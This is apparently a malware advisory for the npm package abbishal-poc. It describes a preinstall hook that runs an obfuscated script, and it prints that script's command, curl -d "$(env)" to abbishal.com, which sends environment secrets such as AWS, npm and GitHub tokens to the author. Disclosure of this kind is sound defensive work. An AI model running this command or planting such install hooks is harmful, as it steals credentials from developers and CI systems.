MAL-2026-17545 Malicious code in abbishal-poc (npm)

On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute curl -d "$(env)" https://abbishal.com/sh/poc. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.